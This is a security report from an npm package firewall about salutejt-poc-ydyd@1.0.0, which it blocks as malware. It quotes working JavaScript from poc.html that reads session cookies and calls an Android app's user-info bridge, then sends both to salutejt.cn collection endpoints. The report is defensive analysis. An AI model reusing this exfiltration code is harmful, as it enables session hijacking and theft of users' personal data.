---
canonical: "https://firewall.lpm.dev/npm/salutejt-poc-ydyd"
markdown: "https://firewall.lpm.dev/npm/salutejt-poc-ydyd/v/1.0.0.md"
package: "salutejt-poc-ydyd"
report_status: "published"
title: "salutejt-poc-ydyd@1.0.0 npm security report"
verdict: "malicious"
version: "1.0.0"
---

# salutejt-poc-ydyd@1.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Session cookies and app user information can be exposed to the operator of the collection host.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 1.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package entrypoint performs credential and user-data collection and sends the results to a package-controlled host. This is concrete exfiltration behavior, so the package should be blocked.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-10-10T19:36:48.284Z
- **Finished:** 2026-10-10T19:37:03.773Z
- **Download time:** 520 ms
- **Static scan time:** 4 ms
- **AI review time:** 14964 ms
- **Total time:** 15489 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The package entrypoint is an HTML page that collects browser cookies and app user information, then sends them to salutejt.cn.

- **Trigger:** The page's script runs when the entrypoint is opened in a browser or app webview.

- **Impact:** Session cookies and app user information can be exposed to the operator of the collection host.

- **Evidence paths:** poc.html

- **Review source:** ai\_review

- **Reviewed:** 2026-10-10T19:37:03.773Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** It reads document.cookie, invokes the Android user-info bridge, and transmits both values to the collection host.

- **Attack narrative:** Opening the package entrypoint causes its script to transmit browser cookies to salutejt.cn. It also requests app user information through an Android bridge and sends the callback data to the same host.

- **Rationale:** The package entrypoint performs credential and user-data collection and sends the results to a package-controlled host. This is concrete exfiltration behavior, so the package should be blocked.

- **Files touched:** poc.html

- **Network endpoints:** https://salutejt.cn/collect, https://salutejt.cn/collect2

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** package.json names poc.html as the package entrypoint., When the page runs, it reads document.cookie and posts the value to https://salutejt.cn/collect., The page also invokes an Android app user-info bridge and sends its callback data to https://salutejt.cn/collect2.

## Affected versions and remediation

This report applies to salutejt-poc-ydyd@1.0.0.

- Avoid installing salutejt-poc-ydyd@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 2. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 3. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/salutejt-poc-ydyd@1.0.0/package.json>)

package.json names poc.html as the package entrypoint.

Public source snippet (untrusted):

```json
{
  "name": "salutejt-poc-ydyd",
  "version": "1.0.0",
  "description": "static page",
  "main": "poc.html",
  "license": "MIT"
}
```

### 4. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** poc.html
- **Public source:** [View source](<https://unpkg.com/salutejt-poc-ydyd@1.0.0/poc.html>)

When the page runs, it reads document.cookie and posts the value to https://salutejt.cn/collect.

Public source snippet (untrusted):

```text
// App 加载本页面时已通过 c6() 把登录会话注入 unpkg.com 域的 Cookie，直接读 document.cookie 即得
var loot = document.cookie;
fetch('https://salutejt.cn/collect', {method:'POST', mode:'cors', headers:{'Content-Type':'text/plain'}, body: loot}).catch(function(){});
// 附带：本页面还能直接调用 App 注入的 97 个 window.android 桥方法，
```

### 5. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** poc.html
- **Public source:** [View source](<https://unpkg.com/salutejt-poc-ydyd@1.0.0/poc.html>)

The page also invokes an Android app user-info bridge and sends its callback data to https://salutejt.cn/collect2.

Public source snippet (untrusted):

```text
try {
  window.pwn = function (j) {
    fetch('https://salutejt.cn/collect2?d=' + encodeURIComponent(j)).catch(function(){});
  };
  android.getAppUserInfo(JSON.stringify({callback: 'pwn'}));
} catch (e) {}
</script>
</body>
</html>
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** salutejt-poc-ydyd
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-09-16T07:47:47.283Z
- **Package first seen:** 2026-10-10T19:37:03.773Z
- **Package last seen:** 2026-10-10T19:37:14.297Z
- **Known versions:** 2
- **Latest version:** 1.0.1
- **Appeal under review:** No
- **Description:** static page
- **Artifact files:** 2
- **Artifact unpacked size:** 901 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/salutejt-poc-ydyd/v/1.0.0>)
